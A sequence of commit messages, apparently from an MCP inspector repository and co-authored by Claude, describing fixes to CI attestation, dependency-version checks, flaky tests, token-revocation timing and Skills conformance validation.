`Record<string, unknown>` does not overlap `Crypto` (TS2352 under `tsc -b`).
`Partial<Pick<Crypto, …>>` says the same thing in one legal cast and keeps
`delete` operating on a known-optional property.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uw1s4LRBUzrFwLzPT4mAJn
Signed-off-by: cliffhall <cliff@futurescale.com>
The `publish-github-container-registry` job's attestation step emitted two
warning annotations on every release — the only annotations on an otherwise
green release run:
Failed to create storage record: Error: Failed to persist storage record:
no artifacts found
Please check that the "artifact-metadata:write" permission has been included
The attestation itself was never affected: it signed, uploaded to Rekor, to
the repository and to the registry, and `gh attestation verify` passes against
the published 2.5.0 image. What was not landing is the separate artifact
metadata *storage record* — GitHub's org-level index of where a published
artifact lives.
Both of the issue's open questions are now answered:
1. `artifact-metadata` is a documented `permissions:` key (read/write/none),
so the workflow parses. Pushing this branch runs CI and validates that.
2. The `no artifacts found` text does NOT mean this job uploaded no *workflow*
artifact. It is the generic 404 body of the org artifact-metadata REST API
that `@actions/attest` POSTs to (`createStorageRecord`); the sibling read
endpoint returns the identical message for 2.5.0's real digest and for an
all-zeros digest that cannot exist. The documented precondition actually
unmet is this permission: the action emits a storage record when
`push-to-registry` is true AND the workflow carries `artifact-metadata:
write`, and the repo is org-owned as the API requires.
Confirmation that the record lands can only come from a release run, so the
step also carries a comment recording the evidence and the exact post-release
check — and what to do instead (`create-storage-record: false` plus a note) if
the warning survives. Either branch satisfies the issue's acceptance criterion
rather than leaving an unexplained warning in the release channel.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EgCNAyMgKX1Fm3uhrAyeP9
Signed-off-by: cliffhall <cliff@futurescale.com>
`clients/cli` resolved `@types/node` 24.13.1 against the root's 24.13.3.
Neither client declares it — #2196 consolidated it to the root — so the cli
copy arrived transitively via `@types/express` and was constrained by no
range of ours. `verify:dep-lockstep` reported OK and was right to: it
compares only packages that reach one `tsc` **program** from two installs,
and no one program sees both copies.
Fixes the instance and the class, which the issue notes are not exclusive.
**The class.** The guard grows a second tier alongside the program-derived
one, asking the weaker but broader question `AGENTS.md`'s "one version per
install-crossing dependency" rule actually states: does a package this repo
declares anywhere resolve to two versions across our installs at all? The
candidate set is every name in any install's `dependencies`/`devDependencies`
that more than one install holds a **top-level** copy of — 17 packages today.
Nested copies are excluded: one exists because some dependency asked for a
different version, so it is that dependency's range, not ours.
Neither tier subsumes the other. The program tier sees a copy no manifest
names (the `@modelcontextprotocol/sdk` case, arriving through another
package's `.d.ts`). The declared tier sees a transitive copy no program
loads (this issue), two *clients* disagreeing with no root copy involved
(`@types/react`, web against tui), and the peer shadows `AGENTS.md` calls out
as ungated — `eslint`, `typescript`, `vitest`.
Deny-by-default, with its own empty `TOLERATED_DECLARED_SKEW` and the same
within-a-major rule, now stated once in a shared `toleratesSkew` so the two
tiers cannot drift.
**The instance, and three others the new tier surfaced.** All four were
patch-level:
- `@types/node` — cli 24.13.1 vs root 24.13.3. Transitive, so it takes an
`overrides` entry in `clients/cli` (the repo's sanctioned lever for a
transitive pin), at the root's own `^24.12.4` rather than a frozen number.
- `@types/react` — web 19.2.18 vs tui 19.2.17.
- `react` — web 19.2.8 vs root/tui 19.2.7.
- `@vitejs/plugin-react` — web 6.0.5 vs root 6.0.2.
The last three are `npm update` in the stale install: it moves the lockfile
within the declared range without widening a range, which matters for the
root `react ^19.0.0` that `ink`'s externalized-bundle exemption depends on.
No declaration or range changed.
Tests: 4 end-to-end cases (the fixture gains manifest deps and a client-side
`solo` install, so the skew is real and no program holds both copies) and 13
helper cases.
Closes#2226
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
Both findings from the v2.5.0 milestone-merge review (#2215).
1. `progressToastId` collided across distinct progress streams.
`ProgressToken` is `string | number`, so `String(token)` mapped the
numeric token 7 and the string token "7" onto one id — and because
notifications keyed by the same id are *replaced* rather than
stacked, two concurrent streams overwrote each other's toast. The
absent case was worse: it hardcoded the sentinel "default", which a
server is free to send as a genuine string token. The id now carries
the token's type (`progress-n:7` / `progress-s:7`) and gives the
no-token case a prefix of its own (`progress-none`) that no token
value can produce.
2. `newAttemptId`'s fallback now prefers `crypto.getRandomValues`.
`randomUUID` needs a secure context; `getRandomValues` does not and
exists in every browser that has `crypto` at all — so the exact
situation the fallback exists for (a `file://` page, a plain-HTTP
non-loopback host) still has a CSPRNG on hand. `Math.random` stays
as the last resort for a `crypto`-less global, and the "never a
security token" comment stays too. Retires CodeQL alert 72
(`js/insecure-randomness`) honestly rather than by dismissing it.
Tests: collision cases for 7 vs "7" and the absent token vs "default" /
"none", a distinctness sweep over the whole id space; and the attempt-id
fallback test split into a getRandomValues arm (asserting the CSPRNG is
used and `Math.random` is not) and a no-crypto-at-all arm.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uw1s4LRBUzrFwLzPT4mAJn
Signed-off-by: cliffhall <cliff@futurescale.com>
Round 16 reported no inline comments and three suppressed findings, all
valid:
- `getSkillsExtension` treated a non-object extension value (`false`,
`"skills"`) as a declaration. SEP-2133 declares an extension as an
object of sub-options, so a primitive is not one — now rejected,
matching `appElicitation.ts`.
- The `onGetSkill` prop doc claimed the two responses "must agree" and
that a difference means a broken server, contradicting the
implementation, which reports a difference as a finding rather than a
fault. Reworded to what the code does.
- No real-transport test exercised the fixture's `skills/*` handlers.
Added `src/test/integration/mcp/inspectorClient-skills.test.ts`,
parameterized over both protocol eras: capability advertisement, the
paged `skills/list` walk (direct and through `ManagedSkillsState`),
`skills/get`, the `-32602` for an unknown URI, `resources/read` of a
skill file, and delegation of an ordinary resource through the
fixture's `resources/read` wrapper.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
Round 15 generated no new inline comments; all five suppressed findings
were real and unaddressed.
- SkillsScreen: claim the attempt BEFORE issuing the request, for both the
SKILL.md preview and `skills/get`. Recording it only on settle left a
window where an older request that happened to resolve first was still
considered current and published while a newer one was in flight —
`verifyRow` already claimed its row up front, these two did not. Tests
answer the OLDER request first and assert nothing is published.
- SkillsScreen: "No skills listed", not "No skills". SEP-2640 lets a server
return an empty or partial catalog and says an empty result is not proof
it has none — an unlisted skill is still fetchable by URI — so the old
copy had the tool asserting something the protocol explicitly does not.
- SkillsScreen: each row's Verify button gets an `aria-label` carrying its
URI. Every row's visible text is "Verify" and the URI cell is not
programmatically associated with the button, so a screen-reader user had
no way to tell which file each control checked.
- inspectorClient: attribute a rejected `skills/get` envelope with
`markResponseRejected`, so the Protocol tab stops rendering it as a clean
success while the screen shows an error. In the client rather than a
store because `skills/get` has none. Gated on `isClientDecodeRejection`,
with a test that a transport failure is NOT attributed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
The review finally quoted the normative text, which is what I asked for
across five rounds before declining: SEP-2640's `skills/list` section says
"In protocol versions 2026-07-28 and later, the result also carries …
`ttlMs` and `cacheScope`." So the era-aware validation is in.
- skillsSchemas: `ModernListSkillsResultSchema` = the page plus the base
list envelope, with field shapes mirroring `ModernResultEnvelopeSchema`
in `listSalvage.ts` so this repo's two statements of a modern envelope
cannot drift. `InspectorClient.listSkills` picks it from the negotiated
era; the legacy shape stays permissive, because those are 2026-era
attributes a legacy server has no business sending.
Nothing else catches this: `skills/*` is consumer-owned, so it is absent
from the SDK's cacheable-method registry and a modern server answering
`{ skills: [] }` was reaching the conformance UI as a clean list.
- skills.ts: count `frontmatter.description` (and `name`) length in Unicode
CODE POINTS. `String.length` counts UTF-16 code units, so 600 non-BMP
characters measured as 1200 and a perfectly valid description was
reported `malformed-description` — a conforming server failed by an
off-by-encoding, which is the direction this module works hardest to
avoid. The Agent Skills reference validator uses Python `len()`.
- #2248 narrowed: the `skills/list` half is settled here; what remains is
whether `skills/get` carries the same attributes.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot round 3 on #2256: both detectors were one-sided. Each measured
the sub-floor remainder against the real clock, so a preempted worker
overshoots the deadline, the remainder goes negative, and the unfixed
`remainingMs <= 0` bound takes the same branch and prints the same
message — the test passes on an implementation with no floor. It could
never fail wrongly, but it could silently stop testing anything, which on
a flake fix is the wrong half of that guarantee to keep.
Both now stub `performance.now()`: the web case advances it inside the
fetch so the second grant's remainder is exactly
MIN_REVOCATION_REQUEST_BUDGET_MS - 1, and the CLI case freezes it so the
remainder at the check is the budget itself. Positive and under the floor
on every machine, which is the only state that separates the two bounds.
Verified as detectors with the clock stubbed: reverting the core floor
gives 1 failed / 57 passed, reverting the CLI floor 1 failed / 14 passed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017wEXtbs8UEHUMxDEAxbs99
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot round 1 on #2256: the `budgetMs: 0` case passes under the old
`remainingMs <= 0` bound too, so nothing in the CLI suite detected the
floor added to `sendPlans`.
The new case gives it a budget that is positive and below the floor, and
asserts on *this loop's* exhaustion message — the one naming the server
URL. That distinction is the test: with the floor removed the plan is
handed a 4ms budget and core's identical floor declines it one level
down, so a bare "budget was exhausted" match passes either way. Verified
as a detector — 1 failed / 14 passed with the CLI floor reverted, 15
passed with it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017wEXtbs8UEHUMxDEAxbs99
Signed-off-by: cliffhall <cliff@futurescale.com>
- SkillsScreen: put the SESSION in the invalidation key. This screen stays
mounted across a disconnect, so content alone cannot tell server A's entry
from an identical-looking one on server B — A's in-flight verification
could land afterwards and report `verified` for a file never read from B,
and a retained batch entry could leave B's Verify all disabled.
`useInspectorStores` now exposes a `sessionNonce`, bumped on both create
and destroy so it never repeats across a reconnect, and App keys on
`${activeServerId}:${sessionNonce}` — the server id alone would repeat,
which is one of the crossings this exists to prevent.
- SkillsScreen: match the selection by `skillUriIdentity`, in both the
lookup and the NavLink active check. A refresh that canonicalizes
`skill://demo/%53KILL.md` names the same skill, and the detail pane was
emptying out because the server changed its spelling — the last raw-string
URI comparison left after round 12.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
The shared teardown deadline was decided on `remainingMs > 0` against
`Date.now()`. Both halves of that are noise-sensitive: the deadline is
enforced by a `setTimeout`, and a wall clock at millisecond resolution
can still read a hair short of it when the loop comes round, so the next
grant inherits a fractional budget and spends it on a request that cannot
possibly complete. The same run then issues one request or two depending
on scheduling — which is what makes the "shares one deadline across
grants" test intermittent on CI (#2252).
Measure the deadline with `performance.now()` (monotonic, so an NTP step
or a suspend cannot expire or extend the budget, and sub-millisecond, so
none is lost to rounding), and skip any grant reaching the loop with less
than MIN_REVOCATION_REQUEST_BUDGET_MS left. The skipped grant is already
reported as `failed`, so nothing is silently dropped — the needless call
to the authorization server is.
The CLI's outer per-plan budget in `sendPlans` shares both the shape and
the defect, so it gets the same treatment.
One consequence worth naming: a monotonic clock hands `revokeToken` a
fractional budget, and Node's `AbortSignal.timeout` throws
`ERR_OUT_OF_RANGE` on a non-integer delay — before the fetch, so the
request would never be sent and the revocation would report that as its
failure. `revokeToken` now rounds its own budget to whole milliseconds,
which also covers any other caller passing a fractional one.
Tests: the epsilon skip is pinned by a grant that lands inside the floor
but above zero (removing the floor fails it, verified); the fractional
budget by a `revokeToken` call at 19.996ms.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017wEXtbs8UEHUMxDEAxbs99
Signed-off-by: cliffhall <cliff@futurescale.com>
`ServerImportJsonModal` > "guards against a live edit made before the
debounce re-validates" opened its window on the real clock: it pasted
invalid JSON and clicked Add Server, relying on less than
VALIDATE_DEBOUNCE_MS (300ms) of wall time elapsing in between. When more
did, the debounce landed first, `canAdd` went false, and the click hit a
disabled button — a no-op that sets no submit error, so the
`findByText(/Fix the validation errors/)` timed out. The first assertion
(`onAddServer` not called) still passed, which is why the failure read as
mysterious rather than as a disabled button.
Run the test on fake timers end to end instead. The first validation is
landed explicitly with `advanceTimersByTimeAsync(VALIDATE_DEBOUNCE_MS)`
— imported from the hook, so the test cannot drift from the value it
depends on — and after the second paste the timers are simply not
advanced. The pending re-validation therefore cannot land at all, the
window stays open by construction, and the final assertion becomes a
synchronous `getByText`.
Verified with a throwaway probe holding both shapes side by side with a
deterministic 400ms stall injected between the paste and the click: the
old shape fails exactly as reported, the new one passes.
No timeout was widened and no production code changed.
Closes#2250
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VQgwZ1kGzhkdkMJ81JVg42
Signed-off-by: cliffhall <cliff@futurescale.com>
All three findings were the same underlying inconsistency: URI comparisons
on raw strings, in a flow that elsewhere deliberately treats normalized
equivalents as the same resource. One `skillUriIdentity` helper now backs
every comparison, so they cannot disagree.
- skills.ts: `manifest-missing-self` compares identities, so a manifest
listing the RFC-equivalent `skill://demo/%53KILL.md` is recognized as the
entry's own file — it is fetchable as that file, so reporting it missing
was the tool disagreeing with itself.
- skills.ts: `skillEntriesMatch` normalizes the entry URI and every manifest
URI before comparing, so a server that canonicalizes an escape between the
listing and the fetch is not reported as a changed snapshot.
- SkillsScreen: the `wrongUri` check uses the same identity, so a
canonicalizing server is not accused of answering for a different skill —
the read path already accepts exactly that equivalence.
- skills.ts: apply the Agent Skills name grammar to the RAW value. Trimming
first let `" demo "` pass, and whitespace is not in the grammar — so an
entry could report "Conforms" with a name that can never equal its URI
path segment. The trimmed copy now only distinguishes absent from invalid.
- skills.ts: add `malformed-description` for a description above the
1024-character Agent Skills limit, with boundary coverage.
- inspectorClient-skills.test: justify the `as unknown as` per AGENTS.md —
both fields are `private` with no public setter, the asserted shape is
exactly what the class declares, and the alternative is a live connection.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
- skills.ts: apply the two RFC 3986 §6.2.2 percent-encoding normalizations
the URL parser does not — decode an escape standing for an unreserved
character, and upper-case the hex of every escape that remains. `URL.href`
leaves `%72eference.md` encoded, so a server echoing an RFC-equivalent
form of the URI we asked for was rejected by `onReadSkillFile` as a
different resource, and an encoded name segment produced a false
`name-path-mismatch`. Both are the tool calling a conforming server wrong.
- oauthResume.test: assert the Skills restore path. It was wired into the
setters but never checked, and the comprehensive present-value and
undefined-fallback cases omitted Skills entirely. Adds it to both, plus a
case restoring a REAL saved selection rather than the EMPTY value — a bug
that always wrote the default would have passed the others.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
- skills.ts: validate `frontmatter.name` against the Agent Skills format
(1–64 lowercase alphanumerics and hyphens, no leading, trailing or
consecutive hyphen). Checking only for non-emptiness let `Bad Name` read
as "Conforms" — and the name is not decorative: it must equal the URI
path segment, so a name that cannot appear in a URI is a contradiction
the entry cannot satisfy. Suppressed when the name is absent entirely,
which `missing-name` already reports.
- skills.ts: detect duplicates on the NORMALIZED identity. Containment and
the read that fetches the bytes both treat normalized-equivalents as one
resource, so `skill://demo/SKILL.md` and `skill://demo/x/../SKILL.md`
were passing as two distinct files while naming one. The finding still
reports the raw URI, and two different unparseable URIs stay distinct.
- SkillsScreen: run `checkSkillConformance` on the fetched `skills/get`
entry and treat an error — or an entry answering for a different URI —
as invalid (red), not as "a different snapshot" (yellow). A fresh
point-in-time read excuses a CHANGE; it does not excuse a violation, and
answering with another skill is never a refresh of the one requested.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018kfrH3uRNUM4JAk1reKtyY
Signed-off-by: cliffhall <cliff@futurescale.com>
